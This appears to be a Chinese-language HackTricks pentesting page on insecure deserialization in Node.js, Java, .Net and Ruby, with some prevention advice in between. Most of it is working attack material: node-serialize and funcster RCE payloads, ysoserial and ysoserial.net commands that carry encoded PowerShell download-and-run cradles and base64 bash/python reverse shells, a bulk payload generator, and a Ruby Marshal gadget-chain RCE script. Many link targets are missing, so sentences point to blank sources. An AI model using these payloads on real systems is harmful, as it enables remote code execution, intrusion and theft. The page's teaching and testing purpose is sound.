var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

如先前所述,此库将在_$$ND_FUNC$$_后获取代码,并使用eval来执行它。因此,为了自动执行代码,您可以删除函数创建部分和最后的括号,只需执行类似以下示例中的JS oneliner:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

funcster的一个值得注意的方面是标准内置对象的不可访问性;它们超出了可访问范围。这种限制阻止了试图调用内置对象方法的代码执行,导致诸如"ReferenceError: console is not defined"的异常,当使用console.log()或require(something)等命令时。

尽管存在这种限制,通过特定方法可以恢复对全局上下文的完全访问权限,包括所有标准内置对象。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问权限:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

更多信息请阅读此来源](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)。

serialize-javascript软件包专门设计用于序列化目的,缺乏任何内置的反序列化功能。用户需要自行实现反序列化的方法。官方示例建议直接使用eval来反序列化序列化的数据:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

如果此函数用于反序列化对象,则您可以轻松利用它:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

更多信息请阅读此来源。

Cryo库

在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息:

Java - HTTP

在Java中,反序列化回调在反序列化过程中执行。攻击者可以利用这种执行方式来构造恶意有效负载,触发这些回调,从而导致潜在的有害操作执行。

指纹

白盒测试

要识别代码库中潜在的序列化漏洞,请搜索以下内容:

  • 实现Serializable接口的类。

  • 使用java.io.ObjectInputStream,readObject,readUnshare函数。

特别注意:

  • XMLDecoder与外部用户定义的参数一起使用。

  • XStream的fromXML方法,特别是如果XStream版本小于或等于1.46,则容易受到序列化问题的影响。

  • ObjectInputStream与readObject方法结合使用。

  • 实现readObject,readObjectNodData,readResolve或readExternal等方法。

  • ObjectInputStream.readUnshared。

  • 通用使用Serializable。

黑盒测试

对于黑盒测试,请查找指示Java序列化对象(源自ObjectInputStream)的特定签名或“魔法字节”:

  • 十六进制模式:AC ED 00 05。

  • Base64模式:rO0。

  • HTTP响应头中Content-type设置为application/x-java-serialized-object。

  • 指示先前压缩的十六进制模式:1F 8B 08 00。

  • 指示先前压缩的Base64模式:H4sIA。

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

检查是否存在漏洞

白盒测试

你可以检查是否安装了任何已知漏洞的应用程序。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

黑盒测试

序列化测试

利用

ysoserial

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

请随意使用下面的脚本为 Windows 和 Linux 创建所有可能的代码执行有效载荷,然后在易受攻击的网页上测试它们:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

marshalsec

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

安装 Maven,然后编译项目:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

实验室

为什么

Java 在各种情况下广泛使用序列化,比如:

  • HTTP 请求:序列化在参数管理、ViewState、cookies 等方面被广泛应用。

  • RMI(远程方法调用):Java RMI 协议完全依赖序列化,在 Java 应用程序中的远程通信中起着关键作用。

  • RMI over HTTP:这种方法通常被基于 Java 的厚客户端 Web 应用程序使用,利用序列化进行所有对象通信。

  • JMX(Java 管理扩展):JMX 利用序列化在网络上传输对象。

  • 自定义协议:在 Java 中,标准做法涉及传输原始 Java 对象,这将在即将展示的漏洞利用示例中进行演示。

预防措施

瞬态对象

实现 Serializable 接口的类可以将类内部不应序列化的任何对象标记为 transient。例如:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

避免对需要实现Serializable接口的类进行序列化

在某些情况下,由于类层次结构的原因,**某些对象必须实现Serializable**接口,存在意外反序列化的风险。为了防止这种情况发生,确保这些对象是不可序列化的,方法是定义一个final的readObject()方法,始终抛出异常,如下所示:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

增强Java中的反序列化安全性

自定义java.io.ObjectInputStream 是保护反序列化过程的实用方法。当以下条件满足时,此方法非常适用:

  • 反序列化代码在您的控制范围内。

  • 已知用于反序列化的类。

覆盖 resolveClass() 方法以仅限制反序列化为允许的类。这样可以防止反序列化任何类,除了明确允许的类,例如以下示例将反序列化限制为仅限Bicycle类:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

使用Java代理进行安全增强提供了一种备用解决方案,当无法修改代码时。这种方法主要用于对有害类进行黑名单处理,使用JVM参数:

-javaagent:name-of-agent.jar

它提供了一种动态保护反序列化的方式,非常适合在需要立即更改代码不切实际的环境中使用。

实现序列化过滤器:Java 9通过**ObjectInputFilter**接口引入了序列化过滤器,提供了一个强大的机制,用于指定在反序列化之前序列化对象必须满足的条件。这些过滤器可以全局应用或针对每个流进行应用,为反序列化过程提供了细粒度的控制。

要使用序列化过滤器,您可以设置一个适用于所有反序列化操作的全局过滤器,或者为特定流动态配置它。例如:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

利用外部库增强安全性:诸如NotSoSerial、jdeserialize和Kryo等库提供了高级功能,用于控制和监控Java反序列化。这些库可以提供额外的安全层,如白名单或黑名单类、在反序列化之前分析序列化对象以及实施自定义序列化策略。

  • NotSoSerial 拦截反序列化过程,以防止执行不受信任的代码。

  • jdeserialize 允许分析序列化的Java对象而无需对其进行反序列化,有助于识别潜在的恶意内容。

  • Kryo 是一种注重速度和效率的替代序列化框架,提供可配置的序列化策略,可增强安全性。

参考资料

JNDI 注入 & log4Shell

在以下页面中查找JNDI 注入是什么,如何通过 RMI、CORBA 和 LDAP 滥用它以及如何利用 log4shell(以及此漏洞的示例):

JMS - Java 消息服务

产品

有几种产品使用此中间件发送消息:

利用

因此,基本上有一堆服务以危险的方式使用 JMS。因此,如果您有足够的权限向这些服务发送消息(通常需要有效凭据),您可能能够发送序列化的恶意对象,将由消费者/订阅者进行反序列化。 这意味着在此利用中,所有将使用该消息的客户端都将受到感染。

请记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的工具来利用漏洞。

参考资料

.Net

在 .Net 的背景下,反序列化利用的操作方式类似于 Java 中发现的方式,其中利用工具运行特定代码以在对象的反序列化期间执行。

指纹

白盒

应检查源代码中是否存在以下内容:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

重点应放在允许类型由用户控制的变量确定的序列化程序上。

黑盒

搜索应针对 Base64 编码的字符串 AAEAAAD///// 或可能在服务器端进行反序列化的任何类似模式,从而授予对要反序列化的类型的控制权。这可能包括但不限于包含 TypeObject 或 $type 的 JSON 或 XML 结构。

ysoserial.net

ysoserial.net 的主要选项包括:--gadget、--formatter、--output 和 --plugin。

  • --gadget 用于指示要滥用的 gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。

  • --formatter 用于指示序列化利用的方法(您需要知道后端使用的库以反序列化有效负载并使用相同的库进行序列化)。

  • --output 用于指示是否希望以 原始 或 Base64 编码形式获得利用。_请注意,ysoserial.net 将使用 UTF-16LE(Windows 默认使用的编码)对有效负载进行编码,因此如果获取原始有效负载并仅从 Linux 控制台对其进行编码,可能会出现一些编码兼容性问题,这将阻止利用正常工作(在 HTB JSON 盒中,有效负载在 UTF-16LE 和 ASCII 中都有效,但这并不意味着它总是有效)。

  • --plugin ysoserial.net 支持插件,用于为特定框架创建利用,如 ViewState

更多 ysoserial.net 参数

  • --minify 将提供一个更小的有效负载(如果可能)

  • --raf -f Json.Net -c "anything" 这将指示可以与提供的格式化程序(在本例中为 Json.Net)一起使用的所有工具

  • --sf xml 您可以指示一个 gadget(-g)并且 ysoserial.net 将搜索包含 "xml" 的格式化程序(不区分大小写)

ysoserial 示例以创建利用:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

在先前的代码中存在漏洞。因此,如果在一个 .Net 应用程序中发现类似的情况,那么该应用程序很可能也存在漏洞。 因此,--test 参数允许我们了解哪些代码块容易受到 ysoserial.net 创建的反序列化漏洞的影响。

ViewState

预防措施

为了减轻 .Net 中反序列化带来的风险:

  • 避免允许数据流定义其对象类型。尽可能使用 DataContractSerializer 或 XmlSerializer。

  • 对于 JSON.Net,将 TypeNameHandling 设置为 None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • 避免使用带有 JavaScriptTypeResolver 的 JavaScriptSerializer。

  • 限制可以反序列化的类型,了解 .Net 类型的固有风险,例如 System.IO.FileInfo 可以修改服务器文件的属性,可能导致拒绝服务攻击。

  • 谨慎处理具有风险属性的类型,例如 System.ComponentModel.DataAnnotations.ValidationException 的 Value 属性可能会被利用。

  • 安全地控制类型实例化,以防止攻击者影响反序列化过程,即使是 DataContractSerializer 或 XmlSerializer 也会有漏洞。

  • 使用自定义 SerializationBinder 为 BinaryFormatter 和 JSON.Net 实现白名单控制。

  • 了解 .Net 中已知的不安全反序列化小工具,确保反序列化器不会实例化此类类型。

  • 将潜在风险代码与具有互联网访问权限的代码隔离,以避免将已知小工具(例如 WPF 应用程序中的 System.Windows.Data.ObjectDataProvider)暴露给不受信任的数据源。

参考资料

Ruby

在 Ruby 中,序列化由 marshal 库中的两种方法实现。第一种方法称为 dump,用于将对象转换为字节流。这个过程称为序列化。相反,第二种方法 load 用于将字节流恢复为对象,这个过程称为反序列化。

为了保护序列化对象,Ruby 使用 HMAC(基于哈希的消息认证码),确保数据的完整性和真实性。用于此目的的密钥存储在以下几个可能的位置之一:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

您可以在此处阅读一个解释PHP示例:,或者在这里,或者在这里

可以帮助您生成用于滥用PHP反序列化的有效负载。 请注意,在许多情况下,您可能无法在应用程序的源代码中找到滥用反序列化的方法,但您可能能够滥用外部PHP扩展的代码。 因此,如果可能的话,请检查服务器的phpinfo()并在互联网上搜索(甚至在PHPGGC的小工具中)一些您可以滥用的可能小工具。

另一种**"魔术"调用函数的方式是通过破坏由异步函数返回的对象**(promise)。因为,如果您将返回对象转换为另一个带有名为**"then"的类型为函数的属性的promise**,它将被执行,因为它是由另一个promise返回的。点击 了解更多信息。

您可以在找到有关如何利用此漏洞的更多信息。

具有.faces扩展名和faces.ViewState参数的Web文件。在Web应用程序中发现这些模式应促使进行详细检查,如中所述。

如果你想了解Java反序列化漏洞是如何工作的,你应该查看,,以及。

您可以尝试检查所有已知存在漏洞的库,并查看可以提供漏洞利用的库。或者您可以检查上指定的库。 您还可以使用来搜索可能被利用的小工具链。 运行gadgetinspector(构建后)时,不必担心它经历的大量警告/错误,并让其完成。它将在_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_下写入所有发现。请注意,gadgetinspector不会创建漏洞利用,可能会指示误报。

使用Burp扩展程序可以识别可用的库(甚至版本)。有了这些信息,选择利用漏洞的有效负载可能会更容易。 。 GadgetProbe专注于**ObjectInputStream反序列化**。

使用Burp扩展程序可以识别易受攻击的库,可利用ysoserial进行利用。 Java Deserialization Scanner专注于**ObjectInputStream**反序列化。

您还可以使用在Burp中检测反序列化漏洞。此插件将检测不仅是ObjectInputStream相关的漏洞,还包括Json和Yml反序列化库的漏洞。在主动模式下,它将尝试使用睡眠或DNS有效负载来确认它们。

并非所有内容都是关于检查服务器是否使用了任何存在漏洞的库。有时您可以更改序列化对象中的数据并绕过某些检查(也许授予您在Web应用程序中的管理员权限)。 如果发现将Java序列化对象发送到Web应用程序,则可以使用以更易读的格式打印发送的序列化对象。了解您发送的数据将更容易修改它并绕过某些检查。

利用Java反序列化的主要工具是()。您还可以考虑使用,它将允许您使用复杂命令(例如带有管道)。 请注意,此工具专注于利用**ObjectInputStream。 我建议首先使用"URLDNS"有效负载而不是RCE**有效负载来测试注入是否可能。无论如何,请注意,也许"URLDNS"有效负载无效,但其他RCE有效负载有效。

在为 java.lang.Runtime.exec() 创建有效载荷时,不能使用特殊字符,如 ">" 或 "|" 来重定向执行的输出,也不能使用 "$()" 来执行命令,甚至不能通过空格分隔的方式向命令传递参数(你可以执行 echo -n "hello world",但不能执行 python2 -c 'print "Hello world"')。为了正确编码有效载荷,你可以使用。

您可以使用与 ysoserial 一起创建更多的利用。有关此工具的更多信息,请参阅展示中介绍该工具的幻灯片:

可用于生成用于利用Java中不同Json和Yml序列化库的有效载荷。 为了编译该项目,我需要将以下依赖项添加到 pom.xml 中:

了解更多关于这个Java JSON库的信息:

如果您想测试一些 ysoserial 负载,您可以运行这个 web 应用程序:

查看示例

反序列化和 ysoserial 讲解:

有关 gadgetinspector 的讲解: 和幻灯片:

Marshalsec 论文:

Java 和 .Net JSON 反序列化 论文: **,**讲解: 和幻灯片:

反序列化 CVEs:

Java 消息服务(JMS)API 是用于在两个或多个客户端之间发送消息的 Java 面向消息的中间件 API。它是一个处理生产者-消费者问题的实现。JMS 是 Java 平台企业版(Java EE)的一部分,由 Sun Microsystems 开发的规范定义,但后来由 Java 社区流程指导。它是一种消息标准,允许基于 Java EE 的应用组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信松散耦合、可靠和异步。(来源:)。

工具 是为了连接和攻击这些服务,发送使用已知工具生成的多个序列化的恶意对象而创建的。如果服务仍然存在漏洞,并且使用的工具中包含任何已使用的工具,则这些利用将起作用。

JMET 讲解:

幻灯片:

在这种情况下,您可以使用工具 来创建反序列化利用。一旦下载了 git 存储库,您应该使用例如 Visual Studio 编译工具。

如果您想了解 ysoserial.net 如何创建其利用,您可以。

ysoserial.net 还有一个非常有趣的参数,有助于更好地理解每个漏洞利用方式:--test。如果您指定了这个参数,ysoserial.net 将在本地尝试该漏洞利用,这样您就可以测试您的有效负载是否能正常工作。这个参数很有帮助,因为如果您查看代码,您会发现类似以下代码块的代码(来自):

这意味着为了测试漏洞利用代码将调用。

查看关于的这篇文章。如果您已经知道受害者机器使用的秘密,请阅读。

Java 和 .Net JSON 反序列化论文:**,演讲:,**幻灯片:

Ruby 2.X 通用反序列化到 RCE 小工具链(更多信息请参阅 ):

另一个利用Ruby On Rails的RCE链:

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看!

获取

发现,我们的独家

加入 💬 或 或 关注我们的Twitter 🐦 。

通过向和 github仓库提交PR来分享您的黑客技巧。

🕸️
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@hacktricks_live
HackTricks
HackTricks Cloud
https://www.notsosecure.com/remote-code-execution-via-php-unserialize/
https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf
https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP - Deserialization + Autoload Classes
PHPGGC
phar:// deserialization
Bypass Python sandboxes
Python Yaml Deserialization
Class Pollution (Python's Prototype Pollution)
此链接
NodeJS - __proto__ & prototype Pollution
node-serialize
这里
funcster
serialize-javascript
https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
https://hackerone.com/reports/350418
关于Java JSF ViewState Deserialization的帖子
基本Java反序列化
Java DNS反序列化
CommonsCollection1 Payload
Ysoserial
Java-Deserialization-Cheat-Sheet
gadgetinspector
Freddy
您可以在此处找到有关Freddy的更多信息。
SerializationDumper
ysoserial
在此处下载
ysoseral-modified
这个网页
https://github.com/pwntester/SerialKillerBypassGadgetCollection
https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
https://github.com/hvqzao/java-deserialize-webapp
https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
rO0 by Contrast Security
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
http://frohoff.github.io/appseccali-marshalling-pickles/
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.youtube.com/watch?v=VviY3O-euVQ
https://www.youtube.com/watch?v=wPbW6zQ52w8
https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
https://www.youtube.com/watch?v=oUAeWhW5b8c
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
https://paper.seebug.org/123/
JNDI - Java Naming and Directory Interface & Log4Shell
维基百科
JMET
https://www.youtube.com/watch?v=0h8DWiOWGGA
https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
ysoserial.net
查看此页面,其中解释了 ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter
ObjectDataProviderGenerator.cs
serializersHelper.JsonNet_deserialize
如何尝试利用 .Net 的 __ViewState 参数来执行任意代码
此文章以了解如何执行代码
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
https://www.youtube.com/watch?v=oUAeWhW5b8c
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
https://www.elttam.com/blog/ruby-deserialization/
https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@hacktricks_live
HackTricks
HackTricks Cloud
gadgetprobe
阅读此处以了解更多关于GadgetProbe的信息
Java Deserialization Scanner
阅读此处以了解更多关于Java Deserialization Scanner的信息。
https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf